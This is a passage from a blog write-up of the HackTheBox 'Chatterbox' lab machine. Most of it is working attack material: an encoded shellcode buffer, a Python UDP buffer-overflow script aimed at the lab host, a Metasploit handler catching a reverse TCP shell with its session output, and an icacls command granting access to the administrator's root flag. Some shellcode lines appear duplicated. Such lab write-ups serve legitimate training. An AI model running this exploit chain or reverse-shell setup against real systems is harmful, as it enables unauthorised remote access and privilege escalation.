buf += &quot;\x51\x4f\x4f\x64\x70\x68\x4e\x6c\x34\x37\x6b\x76\x6c&quot;<br>
buf += &quot;\x47\x65\x39\x58\x68\x49\x6f\x5a\x30\x47\x48\x34\x50&quot;<br>
buf += &quot;\x7a\x61\x6d\x30\x79\x70\x6d\x59\x37\x54\x70\x54\x4e&quot;<br>
buf += &quot;\x70\x61\x58\x4b\x79\x71\x70\x32\x4b\x59\x70\x6b\x4f&quot;<br>
buf += &quot;\x59\x45\x72\x4a\x6c\x4a\x63\x38\x5a\x6a\x69\x7a\x6e&quot;<br>
buf += &quot;\x30\x6a\x78\x43\x38\x49\x72\x39\x70\x4c\x50\x62\x72&quot;<br>
buf += &quot;\x51\x79\x6a\x46\x4e\x70\x30\x50\x32\x30\x72\x30\x31&quot;</p>
<p>buf += &quot;\x6b\x4f\x46\x4c\x6d\x6c\x31\x51\x71\x6c\x6b\x52\x6e&quot;<br>
buf += &quot;\x4c\x6b\x70\x55\x71\x68\x4f\x4c\x4d\x49\x71\x36\x67&quot;<br>
buf += &quot;\x6b\x32\x7a\x52\x30\x52\x72\x37\x34\x4b\x4f\x62\x4c&quot;<br>
buf += &quot;\x50\x52\x6b\x6f\x5a\x6d\x6c\x32\x6b\x6e\x6c\x6a\x71&quot;<br>
buf += &quot;\x73\x48\x48\x63\x4d\x78\x4a\x61\x57\x61\x6f\x61\x34&quot;<br>
buf += &quot;\x4b\x30\x59\x4b\x70\x5a\x61\x76\x73\x42\x6b\x6e\x69&quot;<br>
buf += &quot;\x4d\x48\x6b\x33\x6f\x4a\x70\x49\x72\x6b\x6d\x64\x74&quot;<br>
buf += &quot;\x4b\x6a\x61\x36\x76\x4e\x51\x49\x6f\x36\x4c\x46\x61&quot;<br>
buf += &quot;\x38\x4f\x4c\x4d\x49\x71\x39\x37\x6d\x68\x39\x50\x73&quot;<br>
buf += &quot;\x45\x4b\x46\x49\x73\x71\x6d\x6b\x48\x4d\x6b\x71\x6d&quot;<br>
buf += &quot;\x4b\x74\x61\x65\x57\x74\x62\x38\x72\x6b\x61\x48\x4d&quot;<br>
buf += &quot;\x54\x6b\x51\x79\x43\x61\x56\x62\x6b\x4a\x6c\x70\x4b&quot;<br>
buf += &quot;\x74\x4b\x70\x58\x6d\x4c\x6d\x31\x78\x53\x44\x4b\x7a&quot;<br>
buf += &quot;\x64\x72\x6b\x4b\x51\x48\x50\x71\x79\x71\x34\x6f\x34&quot;<br>
buf += &quot;\x6f\x34\x71\x4b\x71\x4b\x63\x31\x6e\x79\x6f\x6a\x70&quot;<br>
buf += &quot;\x51\x39\x6f\x69\x50\x4f\x6f\x61\x4f\x71\x4a\x64\x4b&quot;<br>
buf += &quot;\x6b\x62\x7a\x4b\x52\x6d\x6f\x6d\x53\x38\x4d\x63\x4d&quot;<br>
buf += &quot;\x62\x6d\x30\x6d\x30\x43\x38\x54\x37\x51\x63\x4e\x52&quot;<br>
buf += &quot;\x51\x4f\x4f\x64\x70\x68\x4e\x6c\x34\x37\x6b\x76\x6c&quot;<br>
buf += &quot;\x47\x65\x39\x58\x68\x49\x6f\x5a\x30\x47\x48\x34\x50&quot;<br>
buf += &quot;\x7a\x61\x6d\x30\x79\x70\x6d\x59\x37\x54\x70\x54\x4e&quot;<br>
buf += &quot;\x70\x61\x58\x4b\x79\x71\x70\x32\x4b\x59\x70\x6b\x4f&quot;<br>
buf += &quot;\x59\x45\x72\x4a\x6c\x4a\x63\x38\x5a\x6a\x69\x7a\x6e&quot;<br>
buf += &quot;\x30\x6a\x78\x43\x38\x49\x72\x39\x70\x4c\x50\x62\x72&quot;<br>
buf += &quot;\x51\x79\x6a\x46\x4e\x70\x30\x50\x32\x30\x72\x30\x31&quot;<br>
buf += &quot;\x30\x50\x50\x6d\x70\x50\x50\x6f\x78\x69\x5a\x6c\x4f&quot;<br>
buf += &quot;\x49\x4f\x59\x50\x39\x6f\x39\x45\x33\x67\x70\x6a\x4e&quot;<br>
buf += &quot;\x30\x70\x56\x52\x37\x31\x58\x36\x39\x53\x75\x43\x44&quot;<br>
buf += &quot;\x61\x51\x4b\x4f\x48\x55\x54\x45\x69\x30\x73\x44\x39&quot;<br>
buf += &quot;\x7a\x4b\x4f\x70\x4e\x39\x78\x52\x55\x48\x6c\x67\x78&quot;<br>
buf += &quot;\x71\x57\x6d\x30\x69\x70\x4b\x50\x50\x6a\x69\x70\x52&quot;<br>
buf += &quot;\x4a\x59\x74\x50\x56\x62\x37\x31\x58\x6d\x32\x66\x79&quot;<br>
buf += &quot;\x76\x68\x6f\x6f\x69\x6f\x49\x45\x51\x73\x6a\x58\x79&quot;<br>
buf += &quot;\x70\x63\x4e\x4e\x56\x62\x6b\x4d\x66\x42\x4a\x71\x30&quot;<br>
buf += &quot;\x52\x48\x6d\x30\x4a\x70\x79\x70\x6d\x30\x6f\x66\x32&quot;<br>
buf += &quot;\x4a\x6d\x30\x73\x38\x32\x38\x44\x64\x4f\x63\x57\x75&quot;<br>
buf += &quot;\x4b\x4f\x49\x45\x34\x53\x61\x43\x71\x5a\x59\x70\x50&quot;<br>
buf += &quot;\x56\x70\x53\x52\x37\x62\x48\x4a\x62\x37\x69\x56\x68&quot;<br>
buf += &quot;\x4f\x6f\x4b\x4f\x59\x45\x64\x43\x78\x78\x79\x70\x61&quot;<br>
buf += &quot;\x6d\x4e\x48\x6f\x68\x71\x58\x59\x70\x61\x30\x6d\x30&quot;<br>
buf += &quot;\x59\x70\x61\x5a\x59\x70\x32\x30\x61\x58\x6a\x6b\x6e&quot;<br>
buf += &quot;\x4f\x5a\x6f\x50\x30\x59\x6f\x4a\x35\x32\x37\x61\x58&quot;<br>
buf += &quot;\x74\x35\x62\x4e\x70\x4d\x4f\x71\x4b\x4f\x79\x45\x61&quot;<br>
buf += &quot;\x4e\x6f\x6e\x39\x6f\x4a\x6c\x4b\x74\x7a\x6f\x44\x45&quot;<br>
buf += &quot;\x74\x30\x69\x6f\x69\x6f\x4b\x4f\x6a\x49\x35\x4b\x59&quot;<br>
buf += &quot;\x6f\x6b\x4f\x59\x6f\x6b\x51\x69\x33\x6c\x69\x48\x46&quot;<br>
buf += &quot;\x63\x45\x79\x31\x66\x63\x65\x6b\x78\x70\x48\x35\x37&quot;<br>
buf += &quot;\x32\x51\x46\x61\x5a\x4d\x30\x4e\x73\x49\x6f\x59\x45&quot;<br>
buf += &quot;\x41\x41&quot;</p>
<p># Create a UDP socket<br>
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)<br>
server_address = (&#8216;10.10.10.74&#8217;, 9256)</p>
<p>fs = &quot;\x55\x2A\x55\x6E\x58\x6E\x05\x14\x11\x6E\x2D\x13\x11\x6E\x50\x6E\x58\x43\x59\x39&quot;<br>
p = &quot;A0000000002#Main&quot; + &quot;\x00&quot; + &quot;Z&quot;*114688 + &quot;\x00&quot; + &quot;A&quot;*10 + &quot;\x00&quot;<br>
p += &quot;A0000000002#Main&quot; + &quot;\x00&quot; + &quot;A&quot;*57288 + &quot;AAAAASI&quot;*50 + &quot;A&quot;*(3750-46)<br>
p += &quot;\x62&quot; + &quot;A&quot;*45<br>
p += &quot;\x61\x40&quot;<br>
p += &quot;\x2A\x46&quot;<br>
p += &quot;\x43\x55\x6E\x58\x6E\x2A\x2A\x05\x14\x11\x43\x2d\x13\x11\x43\x50\x43\x5D&quot; + &quot;C&quot;*9 + &quot;\x60\x43&quot;<br>
p += &quot;\x61\x43&quot; + &quot;\x2A\x46&quot;<br>
p += &quot;\x2A&quot; + fs + &quot;C&quot; * (157-len(fs)- 31-3)<br>
p += buf + &quot;A&quot; * (1152 &#8211; len(buf))<br>
p += &quot;\x00&quot; + &quot;A&quot;*10 + &quot;\x00&quot;</p>
<p>print &quot;&#8212;-&amp;amp;gt;{P00F}!&quot;<br>
i=0<br>
while i&amp;amp;lt;len(p):<br>
if i &amp;amp;gt; 172000:<br>
time.sleep(1.0)<br>
sent = sock.sendto(p[i:(i+8192)], server_address)<br>
i += sent<br>
sock.close()<br>
&amp;amp;lt;pre&amp;amp;gt;[/bash]</p>
<p>Setup a catcher for the reverse shell:</p>
<p>[bash]</p>
<p>msf &gt; use exploit/multi/handler</p>
<p>msf exploit(multi/handler) &gt; set PAYLOAD windows/shell/reverse_tcp</p>
<p>PAYLOAD =&gt; windows/shell/reverse_tcp</p>
<p>msf exploit(multi/handler) &gt; set LHOST tun0</p>
<p>LHOST =&gt; tun0</p>
<p>msf exploit(multi/handler) &gt; set LPORT 4242<br>
LPORT =&gt; 4242</p>
<p>msf exploit(multi/handler) &gt; exploit</p>
<p>[*] Started reverse TCP handler on 10.10.16.X:4242</p>
<p>msf exploit(multi/handler) &gt; [*] Encoded stage with x86/shikata_ga_nai</p>
<p>[*] Sending encoded stage (267 bytes) to 10.10.10.74</p>
<p>[*] Command shell session 1 opened (10.10.16.X:4242 -&gt; 10.10.10.74:49178)</p>
<p>[/bash]</p>
<p>Aaaaaand:</p>
<p>&nbsp;</p>
<p>[bash]</p>
<p>msf exploit(multi/handler) &gt; sessions -i 1<br>
[*] Starting interaction with 1&#8230;</p>
<p>Microsoft Windows [Version 6.1.7601]</p>
<p>Copyright (c) 2009 Microsoft Corporation. All rights reserved.</p>
<p>C:\Windows\system32\ whoami</p>
<p>chatterbox\alfred</p>
<p>[/bash]</p>
<p>You can find the user key in the /Desktop folder.</p>
<h1><span style="text-decoration: underline;">Privilege Escalation</span></h1>
<p>Now, for root. How to proceed? One of the first things I always check on a Windows machine are the <a href="https://en.wikipedia.org/wiki/Cacls">(i)calcs settings</a>. icalcs stands for Integrity Control and Access Control List. It is <em>a Microsoft Windows native command line utilities capable of displaying and modifying the security descriptors on folders and files. An access control list is a list of permissions for securable object, such as a file or folder, that controls who can access it.</em></p>
<p>it seems that Alfred has ownership of the root flag, but cannot read it. By using icalcs, we can change this:</p>
<p>[bash]</p>
<p>icacls.exe root.txt /grant CHATTERBOX\Alfred:F</p>
<p>[/bash]</p>
<p>We can then browse to the Desktop folder of the administrator, where we find root.txt. Thus concludes Chatterbox.</p>
<p>Check out this awesome video by <a href="http://capturetheflags.com/tools-for-ctf/">Ippsec</a>. He also explores how to get the same results using Powershell Empire instead of Metasploit. Worth looking at!</p>
<p>&nbsp;</p>
<p><iframe title="HackTheBox - Chatterbox" width="750" height="422" src="https://www.youtube.com/embed/_dRrvJNdP-s?feature=oembed" frameborder="0" allow="accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture" allowfullscreen></iframe></p>
<!--kg-card-end: html-->]]></content:encoded></item></channel></rss>